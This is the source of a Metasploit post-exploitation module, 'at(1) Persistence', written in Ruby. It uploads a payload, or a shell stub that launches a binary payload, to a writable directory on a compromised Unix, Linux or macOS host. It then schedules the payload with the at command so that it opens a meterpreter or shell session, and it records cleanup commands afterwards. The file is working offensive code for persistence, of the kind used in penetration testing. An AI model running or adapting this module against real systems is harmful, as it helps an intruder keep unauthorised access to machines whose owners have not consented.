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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Exploit::FileDropper
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  include Msf::Exploit::EXE # for generate_payload_exe
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  include Msf::Exploit::Local::Persistence
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  include Msf::Exploit::Local::Timespec
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Deprecated
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  moved_from 'exploits/unix/local/at_persistence'
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'at(1) Persistence',
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        'Description' => %q{
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          This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time.  It should work out of the box
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          with any UNIX-like operating system with atd running.
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          Verified on Kali linux and OSX 13.7.4
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Jon Hart <[email protected]>'
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        ],
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        'Targets' => [['Automatic', {} ]],
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        'DefaultTarget' => 0,
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        'Platform' => %w[unix linux osx],
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        'Arch' => [
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          ARCH_CMD,
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          ARCH_X86,
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          ARCH_X64,
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          ARCH_ARMLE,
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          ARCH_AARCH64,
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          ARCH_PPC,
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          ARCH_MIPSLE,
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          ARCH_MIPSBE
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        ],
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        'SessionTypes' => ['meterpreter', 'shell'],
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        'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
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        'References' => [
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          ['URL', 'https://linux.die.net/man/1/at'],
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          ['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],
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          ['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],
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          ['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],
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        ],
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        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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        }
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      )
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    )
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    register_options([
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      OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
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      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
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    ])
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  end
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  def check
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    return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
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    return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
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    return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'
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    # we do a direct test with atq instead of reading at.allow and at.deny
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    token = Rex::Text.rand_text_alphanumeric(8)
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    if cmd_exec("atq && echo #{token}").include?(token)
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      return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')
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    end
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    CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')
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  end
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  def install_persistence
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    fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
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    payload_path = datastore['WritableDir']
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    payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
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    payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
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    payload_path << payload_name
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    vprint_status("Writing payload to #{payload_path}")
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    if payload.arch.first == 'cmd'
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      upload_and_chmodx(payload_path, payload.encoded)
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    else
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      # because the payloads contents is imported into the at job, we use a stub to call our payload
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      # as it doesn't like binary payloads directly
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      payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
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      # stub, but keep payload_path name for consistency
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      upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
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      upload_and_chmodx(payload_path_exe, generate_payload_exe)
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      @clean_up_rc << "rm #{payload_path_exe}\n"
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    end
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    @clean_up_rc << "rm #{payload_path}\n"
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    job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
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    job_id = job.split(' ')[1]
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    print_good("at job created with id: #{job_id}")
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    # this won't actually do anything since its not in a shell
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    @clean_up_rc << "atrm #{job_id}\n"
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    print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
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  end
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end
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